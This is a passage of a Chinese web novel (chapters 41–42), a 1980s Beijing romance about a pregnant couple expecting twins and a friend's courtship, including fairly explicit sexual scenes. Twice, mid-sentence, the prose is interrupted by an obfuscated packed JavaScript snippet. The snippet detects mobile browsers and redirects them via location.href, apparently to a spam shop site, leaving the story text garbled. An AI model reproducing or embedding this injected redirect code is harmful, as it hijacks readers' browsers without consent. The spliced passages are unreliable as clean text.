她又自顾自道:“你家里也没啥亲戚能指望,不如这样,到时候我再临时搬回去,帮你一块儿带孩子,等你们上手了我再回来。” 孟逐星感动不已,却也知道伺候月子带小婴儿不是容易的事,“婶儿您的心意我领了,就是这不是什么好活儿,我怕累着您,到时候我花钱请个月嫂就成。” “那哪儿行!月嫂再好也比不上自家人细心哪!”王婶儿顿了顿,“你要是实在过意不去,到时候你就给婶儿一点钱,当是雇我了。” 马小兰小嘴叭叭:“妈,您怎么能提钱呢,多俗气。” 孟逐星笑着去捂她的嘴,“成,那到时候就麻烦婶儿了,饭店那边我会提前找一个人暂时替代您的。” “也不必,我能忙得过来。” “哎呀妈我算是听明白了,您这不是乐于助人,您这是财迷呀!是想挣两份儿钱!” 王婶儿被她说得脸红,“这孩子怎么说话呢,我这不也是真心想帮星儿做点事,怎么在你嘴里就变得这么没有人情味儿了呢。” 孟逐星笑道:“我知道的婶儿,您也是担心我,怕我和宗青忙不过来,有您在我心里就更踏实了。” “兰儿,你想不想做孩子的干妈?” 马小兰指了指自己:“我?” 她脸上乍露喜色,“我能行吗?” “当然能,你连律师那么复杂的工作都能做那么好,带小孩又怎么会难倒你?” “嘿嘿,说得也是。”马小兰挺起胸脯,满脸得意,“那就说定了,我要做孩子的干妈!” 她满眼欣喜地看着孟逐星的小腹,“小宝宝快快长大,以后你出来了,干妈带你去什刹海捞鱼玩儿!” 王婶儿嗔道:“没个正形儿!” 又说了会儿话,王婶儿去店里忙了,孟逐星本准备回四合院,却被马小兰给鬼鬼祟祟地叫住。 “星儿,我跟你说个事儿,你帮我参谋参谋呗。” “咋啦?” 见她难得露出忸怩之色,孟逐星觉得很新鲜,打趣道:“哎哟喂,咱们小兰姑娘这是铁树开花,有了喜欢的人了?” “也、也不算是吧。”马小兰眨了眨圆眼睛,“就是最近认识了一个人,对他的感觉和其他人好像不太一样……” 41. 第 41 章 “仔细说说。” “是这么回事儿,前阵子我帮一个大姨打了个小官司,打赢之后,她很感激我,说喜欢我的脾气,想把我介绍给她侄子认识。” “我寻思多交个朋友也挺好的,就没拒绝。” “然后你就和人家看对眼儿了?” “也没那么快……一开始我就是觉得他长得挺好的,个子也高,后来相处了几回发现他也特别体贴,挺会来事儿的。”马小兰脸颊红扑扑的,“他昨天问我要不要跟他处对象,我还没想好怎么回答。” 孟逐星将桌子上的折叠镜子递到她眼前,镜中映出她俊俏泛红的脸,笑问:“你在这里面看到了什么?” “啊?”马小兰呆呆的,“我自己啊?” “是春心荡漾的你。”孟逐星拍了拍她的肩,“去吧小兰子,享受你的初恋吧!” 马小兰小脸涨得通红,“可是,我不知道怎么……万一我俩不合适……” “没开始之前,谁也不知道是否合适呀,再说了只是去谈个恋爱而已,别闹出人命就行。” 马小兰面露惊恐:“啊?什么人命?” 孟逐星梗了一下,摆了摆手,“没什么,我是说别轻易和人家睡觉,别未婚就整出孩子来就成。” “……你在说什么呀!我、我才不是那样随便的人……” “我不是说你随便,是在给你打预防针,毕竟真谈起恋爱了,很容易就上头,你万一一个没忍住,咳……” 马小兰低头想了一会儿,“我想齐大哥不是这样的人。” “齐大哥?他多大了呀?做什么工作的?家里都有啥人?” “齐卫东,26岁,现在在做物流生意,家在城东,父母走得早,家里就只有一个奶奶和妹妹,哦还有那个我帮她打官司的姑姑。” “听起来倒是还挺不错,要不哪天有空,你把人约出来,咱们一起吃个饭,我给你掌掌眼?” “成,不过这事儿我想还是先别跟我妈说了,甭管成不成,她都要操不少心,不如等确定了之后,再跟她坦白。” “好啊,都听你的。” 马小兰做事爽利,没两天就将人给约了出来。云春酒楼里,孟逐星看着两人并肩走来,登时眼前一亮。 如马小兰所说,齐卫东个子挺高,身材笔挺,两人站一起时越发显得马小兰娇小玲珑,他长得也不错,五官端正,看起来正气凛然。 这气质莫名看起来有点眼熟。 孟逐星心中微动,笑着对他做了自我介绍,忍不住问道:“齐大哥以前当过兵吗?” 齐卫东微愣:“是,之前在部队待过几年,后来退伍了就找点小生意做。” 马小兰说:“星儿她家属也是部队的,现在在某科研所工作,前阵子又升职了呢!” 齐卫东笑道:“那可真是优秀的高科技人才,我读书不多,就只能卖卖力气赚点小钱了。” 孟逐星忙道:“工作又不分贵贱,都是在为国家在做贡献。现在正是大力发展经济的时候,齐大哥做物流生意挺好,以后的前途不可限量啊。” 商业互捧了一会儿后,点的菜上来了。 孟逐星今儿不是来吃饭的,她目光时不时落在齐卫东身上,见他从头到尾情绪都很稳定,会很有眼力见儿地给人斟茶递杯。 中途服务员不小心将茶洒到了他腿上,他也没有动怒,反而是温和地安慰他。 不错不错,情绪稳定加分,待人有礼加分,说话有趣加分加分! 吃完饭,齐卫东提出要送孟逐星回去,“我有辆小破车,不介意地话我就开车送你们回去。” 孟逐星看了眼马小兰,笑着拒绝:“不用了,我家离这不远,我慢慢走回去就好,齐大哥送小兰回去吧,路上小心。” “星儿你慢点啊!” 马小兰上了齐卫东的车子,是一辆墨绿色挎斗摩托,虽然有点旧,但是也要一万多才能买下来,骑起来非常拉风。 孟逐星不禁对齐卫东的财力肃然起敬。 之后她便想到,有机会她也应该去考个驾照,然后买辆车,以后带孩子出门也更方便。 走出饭店没多远,孟逐星在街头拐角处看到了一抹熟悉的身影。 已经是十一月天气,秋风萧瑟,路上行人都已经穿上了厚厚的秋装。 陆宗青立在梧桐树下,身姿挺拔,穿着单位发的墨蓝色工装制服,简单利落的样式,涌入人群时毫不起眼,却被他穿得格外好看。 孟逐星对她眉眼弯弯:“你怎么来了?今儿下班这么早?” “嗯,我不放心你,就提前过来看看。”陆宗青牵住她的手,从上到下打量了她一番,“还好吗?有没有哪里不舒服?” “我没事,”孟逐星与他十指相扣,“你冷不冷呀?在这儿等多久了?怎么不去酒楼找我呢?” 陆宗青笑了笑:“不冷,你们聊得好好的,我冷不丁过去不太好。” “那你就在这儿傻站着呀?要是我没从这儿回家呢,你不就白等了?” “我知道你会来的。” “好好好,你最聪明了。” 孟逐星与他手牵着手漫步在深秋的大街上,树叶簌簌飘落,耳边响起自行车清脆的铃声,过阵子再下几场雨天的话,就到了初冬。 “过两天,我们去拍个照片好不好?” “嗯?好。” “你都不问问为什么?” “……只要你想,我就陪你。” 孟逐星挠了挠他掌心上的茧子,“我是觉得应该留个照片纪念一下,或许过几个月我就变胖变丑了……” “不会的,你不胖也不丑,如果真的体重涨了,我会陪你慢慢减下去。” “说得好听,到时候你就会嫌弃我的。”也许是身体原因,孟逐星陷入了负面情绪的漩涡。 陆宗青握住她的肩,俯身低头凝视着她的脸,无比认真道:“我不会,你变成什么样子我都会一样爱你。” “真的?我要是变胖了你就抱不动我了……” 陆宗青低笑:“不会,我加强锻炼,你多重我都可以轻易把你抱起来。” 孟逐星嘴唇微噘,“那身上还会长妊娠纹,很丑。” “我看书上说可以涂抹保湿乳预防缓解,我买了好几瓶不同味道的,晚上你来挑一瓶,我来给你涂,好不好?” 见她脸色好看了一点,陆宗青继续哄道:“如果真的变不好看了,我也很喜欢,不信?走,我证明给你看。” “证明什么啊?” 孟逐星很快就被他抱回家中,进卧室后他立马便解开了她的裤子。 “你、你干嘛?!”孟逐星花容失色,“医生说不可以……” “别误会,我是想给你看这个。”陆宗青说着,扶着她背转过身,旁边的穿衣镜中映出了她白皙修长的腿。 “这里,有几道浅浅的生长纹。”他的指尖落在她大腿后侧,“这里也有两颗小痣。” 他手指又落在了她锁骨下方。 “我不是一直都很喜欢它们?” 孟逐星脸颊一红,想到他所说的喜欢的方式。 每回都弄得湿漉漉的,让人讨厌又……喜欢。 蓦地,陆宗青脱下了制服,露出精瘦有力的上身,他看着镜中,“我身上的疤痕与不足更多,你也从没嫌弃过我,对不对?” 孟逐星小声说:“那怎么一样,你的每一道伤口都是功勋。” “在我心里你也是一样,甚至比我所做的事更伟大更崇高。”陆宗青给她裹上毛毯抱紧了她,“我不想看你不开心,你所担心的一切都不会发生。” 孟逐星将脸埋在他怀里,闷声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13871332|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宗青哥,我不是不相信你,我只是有点控制不住自己,容易胡思乱想……” “嗯,都怪我,没给你足够的安全感。”陆宗青轻抚着她的后背,像是在给小猫顺毛,“以后你想什么都随时跟我说,好不好?哪怕是胡思乱想,我想和你感同身受。” “你不会觉得我烦吗?明明跟很多人比,我已经很幸福了,如果再整天跟你抱怨,好像很不识好歹……” 陆宗青笑:“不会,我喜欢你的一切,你做什么都可爱。” 他靠近她耳边,压低声音,“我之前不是还总说,喜欢你骂我?” 孟逐星耳根一热,目光对上他黑沉含笑的眸子,“那还不是你……” “嗯,我很怀念。”他将她抱起放在床榻上,毛毯散开,他低头吻了下去。 孟逐星被他刚长出的胡茬扎得有点痒,笑着想躲,却被他按住,黑眸深沉动作却很温柔,“我来要回欠我的那次。” 轻柔似蝶触。 顾虑到她现在身体情况特殊,陆宗青的动作可谓是万分温柔,如羽毛拂过,力道柔和,却又激出另一层痒意。 孟逐星下意识地去迎合,却被他低笑着钳住侧腰,他指腹慢条斯理地摩挲着她细嫩的肌肤,“嘘,别着急。” 他向来惯着她,以前她说快就快,轻重缓急都依着她的节奏来,从不吊着她。 可此时他却故意放慢动作,轻微的触觉被无限放大。 孟逐星脸上的酡色越来越浓。 窗外骤然响起一片飞鸟声时,她指尖蓦地在他后背划下一道红痕。 陆宗青眼眸亮晶晶地看着她,“嗯?又奖励我一个功勋?” 孟逐星满脸通红,拉起被子掩住了脸,只露出一双乌黑莹润的杏眸望着他,目光柔情似水。 陆宗青将她抱坐在身上,指腹摩挲着她腰侧的软肉,“现在该你帮我了。” “嗯?不行的,医生说不能……” “放心。” 陆宗青低头吻住她,声音低而含糊:“这样……就不会有事了。” 触碰到时,孟逐星轻颤了一下,“你怎么这么烫?不会是发烧了吧?” “不是发烧。” 陆宗青握住她的腰,目光灼灼地盯着她前后微微晃动的脸。 明秀俏丽的脸颊上泛着绯色,鬓边额角沁出细密的汗珠,殷红的唇瓣微张着,吐气如兰。 他眸色愈发暗了几分。 见她挣扎着想往上逃离,他沉笑一声,如捧一只大玩偶一样,将她轻松抱了起来,来到了梳妆镜前。 这是孟逐星之前淘来的一个老物件儿,黄花梨镜台,菱花铜镜,古色古香雅气十足。 他从背后抱住她,镜中显出两人前后相拥的身影,她的脸鲜红欲滴,陆宗青则眼眸含笑。 “这个镜子有点小了,改天我找人做个大的,这样才看得更清楚。” 他又将她面对面抱起,衣服的摩擦声窸窸窣窣越来越急。 孟逐星的呼吸也越来越重。 最后没忍住又在他背后留下了几道印子。 陆宗青眼底的暗色渐渐褪去,又恢复了清明沉静。 他亲了亲孟逐星汗湿的脸颊,给她的上身盖好被子,“你歇着,我去打水来。” 孟逐星应了一声,腿刚动了一下又猛然顿住,“宗青哥哥,快给我擦一下啊……” 陆宗青拿着温热的毛巾敷住,耳根微红,咳了一声:“要不我抱你去洗洗?” 虽然没弄进去。 “……好。”孟逐星伸手圈住他的脖颈,姿势古怪地夹着他的腰,被他单手托着屁股去了浴室。 夜风透着凉意,钻进半截衣服里,使得她的肌肤起了一层细小的疙瘩,她“唔”了一声,往陆宗青怀里又拱了拱。 头顶传来一声轻笑,“抱紧我。” 42. 第 42 章 任凭陆宗青怎么好声好气地哄劝,孟逐星将脸埋在被子里一直不肯出来。 露出一小片白皙的脖颈也泛着浅红,看着十分可爱。 “咱俩之间,没什么不好意思的,你别那么见外。” 孟逐星呜呜着摇头:“不,我太禁不住诱惑了。” 她像只鸵鸟把头扎进被子里不出来,看得陆宗青好笑之余又忍不住心疼,“别闷这么紧,待会儿该缺氧难受了。” “这事儿不怪你,都是我不好。” 陆宗青轻轻扯下棉被的一角,露出她布满红晕的小脸,哄道:“都是我的问题,星星别害羞。” “你不会觉得我太那个吗?” 孟逐星捂脸,有些不忍直视自己,本来只是想简单地冲洗,弄着弄着,她就忍不住撒娇求他。 她自暴自弃地抬眼偷瞧他,见他眉眼含笑,正特别温柔地看着自己,“哪个?太可爱吗?” 她不禁心跳得快了几下,像小狗般趴进他怀里,毫无章法地蹭着他的脖颈,“以后你不能这样惯着我……” “嗯?怎么了?” “这样不好,万一我不知满足,总缠着你,最后还是你难受。” 陆宗青笑着亲她的耳朵,“我不难受,反而很享受。” “真的?”孟逐星半信半疑,目光向下扫了一眼。 “所以需要在你不累的时候,来帮帮我。” “那你现在……” “今天太晚了,明天吧。” 陆宗青拉着她躺进被窝,孟逐星习惯性地贴在他胸膛上,鼻息间可以嗅到他身上淡淡的香皂味,清爽的柠檬香气,让人心旷神怡。 困意袭来,孟逐星很快就睡着了,陆宗青则凝着她的面容看了很久,才闭眼睡去。 * 过了几天吃了睡、睡了吃,夜里有人伺候的神仙日子后,孟逐星在洗完澡后发现自己腰上的赘肉长势喜人。 沉默一会儿后,她决定打明儿起去三家店里巡逻逛逛。 倒不是为了监工,而是想多运动运动,要不然按这个态势发展,等到孩子瓜熟蒂落她得胖不少。 也是沾了原主的光,孟逐星之前毫不忌口不爱动弹也没长胖,怀孕之后体重的数字才往上走。 人不能无节制地放纵自己,孟逐星开始变得勤快,不是去饭店和服装店坐镇,就是去书店里溜达溜达看会儿书。 张娟这孩子特爱学习,店里不忙的时候都在看书做题,时不时还会问孟逐星数学题。 已经毕业好久的孟逐星有点汗流浃背,只能硬着头皮帮她解释。 傍晚时陆宗青过来接她,她就赶忙把问题推给他。 张娟很怵陆宗青,听他快速利落地讲完解题思路,她赶紧点头:“听明白了,谢谢老板……” 她紧急住口,却还是发出了“娘”的半边读音。 小姑娘脸又白又红,慌得看向孟逐星,“姐……” “没事儿,”孟逐星豪气地揽住陆宗青的胳膊,笑盈盈道,“我是老板,他是我丈夫,怎么就不能是老板娘了呢!” 新晋“老板娘”陆宗青脸上丝毫不恼,反而眸光温柔地低声问她:“回家吗?孟老板。” “起驾!”孟逐星做出太后回宫的架势,手搭在了他的手背上。 陆宗青十分配合她的表演,高大的身躯微躬,扶着她出了店门。 就这么演了一会儿,走在路上时,金黄色树叶晃晃悠悠地落在了孟逐星的发顶,陆宗青伸手为她拂去。 “天越来越冷了,骑车载你怕你冷,要是没什么要紧事你就在家里待着吧?或者我买个挎斗摩托?” “还是先别买,你单位特殊,要是冷不丁买了那个家伙,难免不会有人对你起疑—— 嚯,这小子哪儿来这么多钱?又是住四合院又是买摩托的?” 陆宗青笑:“那我就跟他们坦白,这钱都是我老婆挣的,我只是跟着沾光享福。” 孟逐星听了直乐,“你就不怕被人指指点点,说你吃软饭靠老婆?” 陆宗青微挑眉:“能吃上老婆的软饭,未尝不是一种奖励,很多人想吃还没这个机会。” 这话说得孟逐星龙心大悦,当天晚上十分配合,让怎样就怎样。 不过她现在身体容易疲倦,很快就伏在他肩上睡着了。 陆宗青低头看着她雪白的颈后,吻去她鼻尖上细小的汗珠,将她抱放在床上,两人相拥而眠。 * 接下来几天,孟逐星明显感觉比之前更容易觉得疲倦、嗜睡、食欲旺盛,吃的比之前多了,身体却没怎么长肉,陆宗青放心不下带她来医院做检查。 常规检查结束完,并没有什么异样,反倒是产检时,医生反复确认后,笑着跟他们说: “恭喜你们,怀得是双胞胎。” 孟逐星愣住:“啊?” 陆宗青倒是很快回过神来:“大夫,这样会不会风险加倍?我、我们有没有什么需要特别注意的?” “也无需太过紧张,饮食均衡适当运动,少劳累多休息,定期来产检就行了。” “好的,谢谢大夫。” 走出医院时,两人对视一眼,一时间都有些不知该说什么好。 孟逐星抚摸着微微隆起的小腹,眉眼弯弯地看着一旁高大的青年,“宗青哥哥这么厉害呀!” 陆宗青耳根通红,黑眸闪了闪,“你……不怪我?” “嗯?为什么要怪你呀?” 陆宗青紧握住她的手,“如此一来,你就会吃更多苦。” 孟逐星倒觉得这是好事,“这样也不错,一下生俩,以后就不生了。” 如果她还在现代的话,她大概率会不婚不育单身过一辈子。 但是既然机缘巧合来到这个年代,她又靠着自己的勤劳努力攒下了不少钱财,还在北京有一座四合院。 一想到这些财产以后无人继承,她就无比心痛—— 不是繁殖欲作祟,而是财迷属性大爆发。 “不过要先说好,无论生的是男是女,其中一个要跟我的姓。” 陆宗青说:“你的功劳最大,不如都跟你的姓。” 孟逐星想到这毕竟是在八十年代,考虑到周围人对他的眼光和看法,她还是决定给他留点面子。 “一个就好,我可不想听到别人背后说你真的在吃我的软饭。” 有些话自己可以说,但别人不能。 陆宗青温柔笑了笑:“好,都依你。” 得知孟逐星怀了双胞胎,王婶儿和马小兰都很高兴。 原本给小宝宝准备的小衣服等物品也都赶紧备了双份儿,王婶儿更是常煮些补汤给她送来。 陆宗青原本就厨艺不错,这段时间更是钻研菜谱,整天换着法儿地给孟逐星做好吃的。 菜色多样、营养均衡,将孟逐星养得肤色白里透红,身体匀称长肉,让周围的女同志十分羡慕。 马小兰戳了戳齐卫东的胳膊:“多跟人家学学。” 齐卫东笑:“成啊,就是你也得给我个机会表现不是?” 马小兰“啊”了一声,“什么意思?” “我是说,你要是对我没啥意见,咱俩就把证儿给扯了,住一块儿我天天伺候你。” 马小兰顿时红了脸,“这、这也太快了。” 他们总共在一起才多长时间呢…… 齐卫东认真道:“兰儿,我是真的很喜欢你,真心想和你组建家庭。 如果只考虑我自个儿,那我就一点儿也不急,只是你也知道我奶奶,她老人家上了年纪,我爸妈又走得早,她就特盼望着我能早日成家,让她抱上大孙子。” “当然,大孙女也是一样。” 他摸了摸马小兰涨红的脸,笑道:“所以我希望你能认真考虑和我结婚的事。” 马小兰小声问:“那如果我现在还不想结,你还愿意跟我一起吗?” “愿意,就是我奶奶他肯定会一直在我耳边唠叨,求你你也可怜可怜你男人呗。” “……”马小兰的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13902067|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎都要烧起来。 她最受不住猛男撒娇。 别看齐卫东生得人高马大话也不多,但跟他相熟之后她发现这人反差挺大,两人关系亲近后,他就很喜欢一本正经地跟她撒娇说软话。 一米八几的大高个小山一样趴在她的小身板上,场面别提有多怪了。 可偏偏,她还很吃这一套。 马小兰也跟孟逐星说过这些事,后者笑得一脸诡异,说一些“反差萌”、“体型差最有爱了”这种她听不太懂的话。 “总之,目前我觉得齐大哥还是很不错的,对你也体贴大方,很早就带你去见奶奶和妹妹,他家里人也不是难相与的,又会做生意,你嫁过去肯定不会吃亏。” “倒也不是吃不吃亏的事,”马小兰有点忸怩,“我跟他这才相处多久啊?这么快就谈婚论嫁是不是太快了……” “也还好吧,有很多人闪婚比你们这还快呢!” 孟逐星又说起马小兰不太明白的词儿,她有些苦恼,夜里跑到妈妈屋里钻到她被窝里跟她聊天,说起自己的心事。 王婶儿思忖片刻,笑道:“卫东那孩子我觉得不错,人勤奋能干,待人接物也很有分寸,虽然年龄比你大了点儿,但成熟稳重也更会疼人。” “至于你说的觉得太快,要是跟以前比,你们这都算慢的了。” “以前我跟你爸结婚前也不认识,媒人介绍了,相中彼此的条件了,就成了。” 王婶儿轻叹一声:“那才是真的盲婚哑嫁,你们这代人已经比我们好多了。” 马小兰抱着她的手臂,“妈,你后悔嫁给我爸吗?” 这个问题她憋在心里很长时间了,妈来北京有好几个月了,从来没提过回家的事,爸的信也没有以前写得勤了。 她心底升起一种莫名的恐惧——爸妈不会是要离婚,不要她和哥哥了吧? 王婶儿愣了一下,笑了笑,“不后悔。” 她顿了一下,继续道:“以前在村里长大、过日子,也没想过其他的事,来这边几个月见到了更多人,心里就有了些不太一样的想法。” 马小兰小心翼翼问:“啥想法?” “人有很多种活儿法,要是我不结婚,早十几二十年就来城里,可能我这会儿也是个大有钱人。” “可那样就没有我和哥哥了……” “是啊,那样就没有你们兄妹了。”王婶儿抚摸着她乌黑的头发,“所以我说我不后悔,兰儿,结婚虽然是大事,你跟着你的心走就是,就算做错了决定,天也不会塌下来。” “无论怎么样,妈都在你身边陪着你。” 马小兰眼眶发酸,依偎进她怀里,“妈,我就是觉得有些害怕。” “怕啥?” “怕和他处不好,怕不能让他奶奶满意,他还想早点生孩子……” 王婶儿忍不住笑:“怕是没用的,你不试试怎么知道自己行不行?兰儿你摸着你的良心说,你觉得卫东这人咋样?” “他很好,如果错过他,我也许就遇不到比他更好的人了。” “那就是了,先抓住他,以后的事以后再说,船到桥头自然直。” “再说他奶奶那老人家我也见过,是个挺和善的人,他妹妹也老实,这样的家庭不会让你受罪的。” “你怎么跟星儿说的一样。”马小兰小声嘀咕,“她也说我不会吃亏。” 王婶儿哈哈大笑:“我和星儿英雄所见略同。” 这次夜谈让马小兰心里的担忧恐惧褪去不少,两家开始商量起结婚的事来。 齐卫东对此事格外重视,说要买票去马小兰的老家拜访一趟,见见未来岳父和大舅哥。 王婶儿赶忙拦住他,“山区村里又远又不方便,你去一趟怪折腾的,不如叫他们过来,顺便也见识见识北京城的气派。” 马小兰和齐卫东很快就去排队买了来北京的火车票,写信给马文波邮了回去。 半个月后,马国富和马文波夫妻俩拎着大包小包,坐上了去北京的火车。